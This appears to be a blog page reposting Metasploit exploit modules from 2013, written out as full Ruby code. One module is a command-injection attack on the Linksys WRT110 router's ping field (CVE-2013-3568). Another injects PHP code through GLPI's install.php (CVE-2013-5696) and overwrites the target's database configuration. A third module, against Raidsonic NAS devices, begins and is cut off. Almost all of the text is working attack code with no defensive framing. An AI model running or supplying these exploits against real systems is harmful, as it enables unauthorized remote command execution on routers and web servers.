Showing posts with label Execution. Show all posts
Showing posts with label Execution. Show all posts
Thursday, September 26, 2013
[remote] - Linksys WRT110 Remote Command Execution
### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerEcho def initialize(info = {}) super(update_info(info, 'Name' => 'Linksys WRT110 Remote Command Execution', 'Description' => %q{ The Linksys WRT110 consumer router is vulnerable to a command injection exploit in the ping field of the web interface. }, 'Author' => [ 'Craig Young', # Vulnerability discovery 'joev ', # msf module 'juan vazquez' # module help + echo cmd stager ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-3568'], ['BID', '61151'], ['URL', 'http://seclists.org/bugtraq/2013/Jul/78'] ], 'DisclosureDate' => 'Jul 12 2013', 'Privileged' => true, 'Platform' => ['linux'], 'Arch' => ARCH_MIPSLE, 'Targets' => [ ['Linux mipsel Payload', { } ] ], 'DefaultTarget' => 0, )) register_options([ OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']), OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']), OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) ], self.class) end def check begin res = send_request_cgi({ 'uri' => '/HNAP1/' }) rescue ::Rex::ConnectionError return Exploit::CheckCode::Safe end if res and res.code == 200 and res.body =~ /WRT110<\/ModelName>/ return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit test_login! execute_cmdstager end # Sends an HTTP request with authorization header to the router # Raises an exception unless the login is successful def test_login! print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}") res = send_auth_request_cgi({ 'uri' => '/', 'method' => 'GET' }) if not res or res.code == 401 or res.code == 404 fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}") else print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}") end end # Run the command on the router def execute_command(cmd, opts) send_auth_request_cgi({ 'uri' => '/ping.cgi', 'method' => 'POST', 'vars_post' => { 'pingstr' => '& ' + cmd } }) Rex.sleep(1) # Give the device a second end # Helper methods def user; datastore['USERNAME']; end def pass; datastore['PASSWORD'] || ''; end def send_auth_request_cgi(opts={}, timeout=nil) timeout ||= datastore['TIMEOUT'] opts.merge!('authorization' => basic_auth(user, pass)) begin send_request_cgi(opts, timeout) rescue ::Rex::ConnectionError fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") end endend
[remote] - GLPI install.php Remote Command Execution
### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # Application database configuration is overwritten include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'GLPI install.php Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the GLPI 'install.php' script. Users should use this exploit at his own risk, since it's going to overwrite database configuration. }, 'Author' => [ 'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-5696' ], [ 'URL', 'https://www.navixia.com/blog/entry/navixia-finds-critical-vulnerabilities-in-glpi-cve-2013-5696.html' ], [ 'URL', 'http://www.glpi-project.org/forum/viewtopic.php?id=33762' ], ], 'Privileged' => false, 'Platform' => ['php'], 'Payload' => { 'Space' => 4000, 'BadChars' => "#", 'DisableNops' => true, 'Keys' => ['php'] }, 'Arch' => ARCH_PHP, 'Targets' => [[ 'GLPI 0.84 or older', { }]], 'DisclosureDate' => 'Sep 12 2013', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/']) ], self.class) end def uri return target_uri.path end def check # Check if the GLPI instance is vulnerable res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), }) if not res or res.code != 200 return Exploit::CheckCode::Safe end re = '(version)(\\s+)(.*)(\\s+)(Copyright)' m = Regexp.new(re, Regexp::IGNORECASE) matched = m.match(res.body) if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/ print_good("Detected Version : #{matched[3]}") return Exploit::CheckCode::Appears elsif matched print_error("Version #{matched[3]} is not vulnerable") end return Exploit::CheckCode::Safe end def exploit print_status("Injecting the payload...") rand_arg = Rex::Text.rand_text_hex(10) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'install/install.php'), 'vars_post' => { 'install' => 'update_1', 'db_host' => 'localhost', 'db_user' => 'root', 'db_pass' => 'root', 'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*" } }) unless res and res.code == 200 and res.body =~ /You will update the GLPI database/ print_warning("Unexpected response while injecting the payload, trying to execute anyway...") end print_status("Executing the payload...") send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'vars_get' => { rand_arg => '1', } }) endend
Labels:
Command,
Execution,
installphp,
Remote
Wednesday, September 25, 2013
[remote] - Raidsonic NAS Devices Unauthenticated Remote Command Execution
### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# web site for more information on licensing and terms of use.# http://metasploit.com/##require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking # It's backdooring the remote device include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::CommandShell include Msf::Exploit::FileDropper RESPONSE_PATTERN = "\
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